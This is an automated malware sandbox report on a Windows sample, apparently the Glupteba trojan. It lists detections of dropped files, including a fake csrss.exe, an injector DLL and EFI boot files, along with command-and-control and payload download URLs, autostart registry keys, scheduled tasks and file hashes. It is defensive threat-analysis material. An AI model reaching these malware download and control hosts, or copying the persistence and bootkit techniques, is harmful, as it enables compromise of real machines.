External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion5	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection12	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
rlavBKPBEc.exe	28%	Virustotal		Browse
rlavBKPBEc.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\windefender.exe	100%	Avira	TR/Crypt.XPACK.eocey
C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	100%	Avira	TR/Agent.twerk
C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	100%	Avira	TR/Redcap.gsjan
C:\Windows\rss\csrss.exe	100%	Joe Sandbox ML
B:\EFI\Boot\old.efi (copy)	0%	ReversingLabs
B:\EFI\Microsoft\Boot\fw.efi (copy)	0%	ReversingLabs
C:\EFI\Boot\EfiGuardDxe.efi	0%	ReversingLabs
C:\EFI\Boot\bootx64.efi	0%	ReversingLabs
C:\EFI\Microsoft\Boot\bootmgfw.efi	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	46%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll	59%	ReversingLabs	Win64.Trojan.Glupject
C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	14%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\csrss\injector\injector.exe	73%	ReversingLabs	Win64.Trojan.Glupteba
C:\Windows\windefender.exe	29%	Metadefender		Browse
C:\Windows\windefender.exe	79%	ReversingLabs	Win32.Trojan.WinGoRanumBot

Unpacked PE Files

Source	Detection	Scanner	Label	Download
18.2.csrss.exe.16bb0000.19.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
49.0.windefender.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
42.0.windefender.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
49.2.windefender.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
42.2.windefender.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.csrss.exe.16c30000.18.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://retoti.comidentifier	0%	Avira URL Cloud	safe
https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comFirstInstallDateFirstInsta	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/spesmilo/electrum/master/electrum/servers.jsontls:	0%	URL Reputation	safe
http://gohnot.com/5da69a167bb34f8505b143410ac1db19	0%	Avira URL Cloud	safe
https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comS-1-5-21-3853321935-212556	0%	Avira URL Cloud	safe
http://gais.cs.ccu.edu.tw/robot.php)Gulper	0%	Avira URL Cloud	safe
https://logs.trumops.com	0%	Avira URL Cloud	safe
http://www.spidersoft.com)Wget/1.9	0%	Avira URL Cloud	safe
https://trumops.comhttps://retoti.comServiceVersionServersVersionDistributorIDCampaignIDOSCaptionMic	0%	Avira URL Cloud	safe
https://retoti.com	0%	Avira URL Cloud	safe
https://trumops.comif-unmodified-sinceillegal	0%	Avira URL Cloud	safe
http://help.ya	0%	Avira URL Cloud	safe
http://devlog.gregarius.net/docs/ua)Links	0%	URL Reputation	safe
https://trumops.comServiceVersionServiceVersionServersVersionServersVersionDistributorIDCampaignIDOS	0%	Avira URL Cloud	safe
https://runmodes.com/api/log	100%	Avira URL Cloud	malware
http://grub.org)Mozilla/5.0	0%	Avira URL Cloud	safe
http://www.everyfeed.c	0%	Avira URL Cloud	safe
https://trumops.com	0%	Avira URL Cloud	safe
http://www.exabot.com/go/robot)Opera/9.80	0%	URL Reputation	safe
http://www.googlebot.com/bot.html)Links	0%	URL Reputation	safe
https://server16.trumops.com/api/cdn?c=18fdfede72ff702e&uuid=0d29b283-e190-4dec-92fd-2f54e18287ce	0%	Avira URL Cloud	safe
https://logs.trumops.comhttps://runmodes.com/api/loghttps://server16.trumops.comC:	0%	Avira URL Cloud	safe
http://gohnot.com/5da69a167bb34f8505b143410ac1db19/watchdog.exe	0%	Avira URL Cloud	safe
https://server16.trumops.com/bots/post-ia-data?uuid=0d29b283-e190-4dec-92fd-2f54e18287ce	0%	Avira URL Cloud	safe
https://trumops.com/api/install-failureinvalid	0%	Avira URL Cloud	safe
http://crl.ver)	0%	Avira URL Cloud	safe
https://server16.trumops.com/api/poll	0%	Avira URL Cloud	safe
https://%s.xboxlive.com	0%	URL Reputation	safe
https://runmodes.com/api/log0d29b283-e190-4dec-92fd-2f54e18287ce.uuid.trumops.com	100%	Avira URL Cloud	malware
https://server16.trumops.com	0%	Avira URL Cloud	safe
http://https://_bad_pdb_file.pdb	0%	Avira URL Cloud	safe
http://www.bloglines.com)F	0%	Avira URL Cloud	safe
https://server16.trumops.comc=18fdfede72ff702e&uuid=server16.trumops.com:443server16.trumops.com:443	0%	Avira URL Cloud	safe
http://misc.yahoo.com.cn/he	0%	Avira URL Cloud	safe
https://dynamic.t	0%	URL Reputation	safe
https://server16.trumops.com/api/pollserver16.trumops.com	0%	Avira URL Cloud	safe
http://newscommer.com/app/app.exe	100%	URL Reputation	malware
https://server16.trumops.comserver16.trumops.com:443server16.trumops.com:443tcpserver16.trumops.com	0%	Avira URL Cloud	safe
http://crl.g	0%	URL Reputation	safe
https://blockchain.infoindex	0%	URL Reputation	safe
https://sitescore.aiValue	0%	Avira URL Cloud	safe
http://www.avantbrowser.com)MOT-V9mm/00.62	0%	Avira URL Cloud	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
runmodes.com	104.21.34.203	true	false	high
server16.trumops.com	172.67.139.144	true	false	high
gohnot.com	104.21.92.165	true	false	high
trumops.com	unknown	unknown	false	high
0d29b283-e190-4dec-92fd-2f54e18287ce.uuid.trumops.com	unknown	unknown	false	high
logs.trumops.com	unknown	unknown	false	high
e0a50c60a85bfbb9ecf45bff0239aaa3.hash.trumops.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://runmodes.com/api/log	true	Avira URL Cloud: malware	unknown
https://server16.trumops.com/api/cdn?c=18fdfede72ff702e&uuid=0d29b283-e190-4dec-92fd-2f54e18287ce	false	Avira URL Cloud: safe	unknown
http://gohnot.com/5da69a167bb34f8505b143410ac1db19/watchdog.exe	false	Avira URL Cloud: safe	unknown
https://server16.trumops.com/bots/post-ia-data?uuid=0d29b283-e190-4dec-92fd-2f54e18287ce	false	Avira URL Cloud: safe	unknown
https://server16.trumops.com/api/poll	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://retoti.comidentifier	csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://search.msn.com/msnb	csrss.exe	false		high
https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comFirstInstallDateFirstInsta	rlavBKPBEc.exe, 00000001.00000002.292941053.000000001600C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 00000009.00000002.314305793.0000027409C3D000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	false		high
https://raw.githubusercontent.com/spesmilo/electrum/master/electrum/servers.jsontls:	csrss.exe	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 00000009.00000002.314305793.0000027409C3D000.00000004.00000001.sdmp	false		high
http://gohnot.com/5da69a167bb34f8505b143410ac1db19	csrss.exe, 00000012.00000003.389984539.0000000016956000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 00000009.00000003.313869384.0000027409C48000.00000004.00000001.sdmp	false		high
https://trumops.comhttps://retoti.comhttps://trumops.comhttps://retoti.comS-1-5-21-3853321935-212556	rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp, csrss.exe, 00000012.00000003.390526398.00000000168F2000.00000004.00000001.sdmp, csrss.exe, 00000013.00000002.378577012.0000000016814000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.416985738.0000000016858000.00000004.00000001.sdmp, csrss.exe, 0000001F.00000002.388198508.00000000168CA000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://gais.cs.ccu.edu.tw/robot.php)Gulper	csrss.exe	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	false		high
https://logs.trumops.com	csrss.exe, 00000012.00000002.534566162.00000000168D6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.google.com/bot.html)tls:	csrss.exe	false		high
http://www.spidersoft.com)Wget/1.9	csrss.exe	false	Avira URL Cloud: safe	low
https://trumops.comhttps://retoti.comServiceVersionServersVersionDistributorIDCampaignIDOSCaptionMic	rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.534566162.00000000168D6000.00000004.00000001.sdmp, csrss.exe, 00000013.00000002.378548538.0000000016810000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.416917396.0000000016852000.00000004.00000001.sdmp, csrss.exe, 0000001F.00000002.388100482.00000000168C0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 00000009.00000003.313904808.0000027409C40000.00000004.00000001.sdmp	false		high
https://retoti.com	rlavBKPBEc.exe, 00000001.00000002.292941053.000000001600C000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.534566162.00000000168D6000.00000004.00000001.sdmp, csrss.exe, 00000013.00000002.378548538.0000000016810000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.416917396.0000000016852000.00000004.00000001.sdmp, csrss.exe, 0000001F.00000002.388100482.00000000168C0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://trumops.comif-unmodified-sinceillegal	rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://help.ya	csrss.exe	false	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000009.00000003.292142597.0000027409C31000.00000004.00000001.sdmp	false		high
http://devlog.gregarius.net/docs/ua)Links	csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://trumops.comServiceVersionServiceVersionServersVersionServersVersionDistributorIDCampaignIDOS	rlavBKPBEc.exe, 00000001.00000002.292958192.0000000016010000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 00000009.00000003.313904808.0000027409C40000.00000004.00000001.sdmp	false		high
http://grub.org)Mozilla/5.0	csrss.exe	false	Avira URL Cloud: safe	low
http://www.everyfeed.c	csrss.exe	false	Avira URL Cloud: safe	unknown
https://turnitin.com/robot/crawlerinfo.html)gentraceback	csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	false		high
https://trumops.com	rlavBKPBEc.exe, 00000001.00000002.292941053.000000001600C000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.318845326.000000001600A000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.532839787.0000000016800000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.534566162.00000000168D6000.00000004.00000001.sdmp, csrss.exe, 00000013.00000002.378548538.0000000016810000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.416917396.0000000016852000.00000004.00000001.sdmp, csrss.exe, 0000001F.00000002.388100482.00000000168C0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://builtwith.com/biup)	csrss.exe	false		high
http://www.exabot.com/go/robot)Opera/9.80	csrss.exe	false	URL Reputation: safe	unknown
http://www.bingmapsportal.com	svchost.exe, 00000009.00000002.314211606.0000027409C13000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000009.00000002.314305793.0000027409C3D000.00000004.00000001.sdmp	false		high
http://www.googlebot.com/bot.html)Links	csrss.exe	false	URL Reputation: safe	unknown
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	false		high
http://search.msn.com/msnbot.htm)net/http:	csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	false		high
https://logs.trumops.comhttps://runmodes.com/api/loghttps://server16.trumops.comC:	csrss.exe, 00000012.00000002.534566162.00000000168D6000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 00000009.00000003.313904808.0000027409C40000.00000004.00000001.sdmp	false		high
http://search.msn.com/msnbot.htm)msnbot/1.1	csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 00000009.00000002.314305793.0000027409C3D000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000009.00000003.292142597.0000027409C31000.00000004.00000001.sdmp	false		high
https://trumops.com/api/install-failureinvalid	csrss.exe	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000003.00000002.526070919.00000184DBA8C000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000009.00000003.313904808.0000027409C40000.00000004.00000001.sdmp	false		high
http://www.archive.org/details/archive.org_bot)Opera/9.80	csrss.exe	false		high
http://www.baidu.com/search/spider.htm)MobileSafari/600.1.4	rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	false		high
http://yandex.com/bots)Opera/9.51	csrss.exe	false		high
http://www.google.com/bot.html)Mozilla/5.0	csrss.exe	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 00000009.00000002.314305793.0000027409C3D000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.314211606.0000027409C13000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000007.00000002.524018163.000001C038640000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000009.00000003.313869384.0000027409C48000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	false		high
https://runmodes.com/api/log0d29b283-e190-4dec-92fd-2f54e18287ce.uuid.trumops.com	csrss.exe, 00000012.00000003.390550830.00000000168EA000.00000004.00000001.sdmp	true	Avira URL Cloud: malware	unknown
https://server16.trumops.com	csrss.exe, 00000012.00000003.391261227.0000000016862000.00000004.00000001.sdmp, csrss.exe, 00000012.00000003.390601334.00000000168DE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000009.00000003.292142597.0000027409C31000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	false		high
http://https://_bad_pdb_file.pdb	rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp	false	Avira URL Cloud: safe	low
http://archive.org/details/archive.org_bot)Mozilla/5.0	csrss.exe	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	false		high
http://www.bloglines.com)F	csrss.exe	false	Avira URL Cloud: safe	low
https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	false		high
https://server16.trumops.comc=18fdfede72ff702e&uuid=server16.trumops.com:443server16.trumops.com:443	csrss.exe, 00000012.00000003.391261227.0000000016862000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://misc.yahoo.com.cn/he	csrss.exe	false	Avira URL Cloud: safe	unknown
https://dynamic.t	svchost.exe, 00000009.00000003.313869384.0000027409C48000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://server16.trumops.com/api/pollserver16.trumops.com	csrss.exe, 00000012.00000003.391261227.0000000016862000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://newscommer.com/app/app.exe	csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp	true	URL Reputation: malware	unknown
http://www.google.com/feedfetcher.html)HKLM	csrss.exe	false		high
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	false		high
https://server16.trumops.comserver16.trumops.com:443server16.trumops.com:443tcpserver16.trumops.com	csrss.exe, 00000012.00000003.391261227.0000000016862000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.534247002.0000000016863000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.535086153.0000000016A04000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://crl.g	rlavBKPBEc.exe, 00000001.00000002.288266924.0000000004C66000.00000040.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.312788937.0000000004D29000.00000040.00000001.sdmp, csrss.exe, 00000012.00000002.529851874.0000000005200000.00000040.00000001.sdmp, csrss.exe, 00000013.00000002.370355183.0000000005200000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.413171135.0000000005200000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
https://blockchain.infoindex	csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://www.baidu.com/search/spide	csrss.exe	false		high
http://yandex.com/bots)Opera/9.80	csrss.exe	false		high
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 00000009.00000003.292142597.0000027409C31000.00000004.00000001.sdmp	false		high
https://sitescore.aiValue	csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.avantbrowser.com)MOT-V9mm/00.62	csrss.exe, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	false		high
http://search.msn.com/msnbot.htm)pkcs7:	rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp, csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000007.00000002.524018163.000001C038640000.00000004.00000001.sdmp	false		high
http://www.alexa.com/help/webmasters;	csrss.exe	false		high
http://www.google.com/adsbot.html)Encountered	csrss.exe	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 00000009.00000003.313859775.0000027409C61000.00000004.00000001.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 00000007.00000002.524018163.000001C038640000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000009.00000003.313886656.0000027409C5A000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.139.144	server16.trumops.com	United States	13335	CLOUDFLARENETUS	false
104.21.34.203	runmodes.com	United States	13335	CLOUDFLARENETUS	false
104.21.92.165	gohnot.com	United States	13335	CLOUDFLARENETUS	false
172.67.207.136	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	520272
Start date:	11.11.2021
Start time:	22:23:17
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	rlavBKPBEc (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	54
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.evad.winEXE@57/19@12/5
EGA Information:	Failed
HDC Information:	Successful, ratio: 96.7% (good quality ratio 50%) Quality average: 39.2% Quality standard deviation: 43.3%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, HxTsr.exe, RuntimeBroker.exe, backgroundTaskHost.exe Excluded IPs from analysis (whitelisted): 23.54.113.53, 23.35.236.56, 20.54.110.249 Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:24:25	API Interceptor	2x Sleep call for process: svchost.exe modified
22:24:30	API Interceptor	9x Sleep call for process: rlavBKPBEc.exe modified
22:24:47	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run LittleViolet "C:\Windows\rss\csrss.exe"
22:24:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run LittleViolet "C:\Windows\rss\csrss.exe"
22:24:59	API Interceptor	9x Sleep call for process: csrss.exe modified
22:25:02	Task Scheduler	Run new task: csrss path: C:\Windows\rss\csrss.exe
22:25:43	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

B:\EFI\Boot\old.efi (copy) Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.486535052248291
Encrypted:	false
SSDEEP:	48:glTSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+1o7InTJ/R9W3afJX:stOWU+rpT8ZeSNul7IEkdAL+pt/63
MD5:	17ACB515B5FA45DEF030B191E5BC7991
SHA1:	539E0729C6FE8460F20A0DF044DCE5D3AB629E7C
SHA-256:	9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91F0D00EE
SHA-512:	5057F569321E7F3E40CF427D87FBFD4331E33914A61FAB059AE870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3E5BC8116F6600062EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................................................................................................................................................................................................PE..d................." .........................................................`.......!.......................................................................0...............P......<#...............................................................................text............................... ..h.data........ ......................@....pdata.......0......................@..H.xdata.......@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

B:\EFI\Microsoft\Boot\fw.efi (copy) Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	7680
Entropy (8bit):	4.486535052248291
Encrypted:	false
SSDEEP:	48:glTSYARWU4VIDJY5fxSgwG89gAgseSNhcl7HoE4h2KP+59L+1o7InTJ/R9W3afJX:stOWU+rpT8ZeSNul7IEkdAL+pt/63
MD5:	17ACB515B5FA45DEF030B191E5BC7991
SHA1:	539E0729C6FE8460F20A0DF044DCE5D3AB629E7C
SHA-256:	9FDB7C1359F3F2F7279F1DF4BDE648C080231ED21A22906E908EF3F91F0D00EE
SHA-512:	5057F569321E7F3E40CF427D87FBFD4331E33914A61FAB059AE870BC6C17640E63CDFB7AE323846F161B124875BA874BED3A674D434CA3E5BC8116F6600062EA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................................................................................................................................................................................................PE..d................." .........................................................`.......!.......................................................................0...............P......<#...............................................................................text............................... ..h.data........ ......................@....pdata.......0......................@..H.xdata.......@......................@..B.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\EFI\Boot\EfiGuardDxe.efi Download File
Process:	C:\Windows\rss\csrss.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	279552
Entropy (8bit):	4.553173975914215
Encrypted:	false
SSDEEP:	3072:ekODsOuozgl9aXsRzZZZZrUhFapDL4k2yntc:ekeklesRD6yt
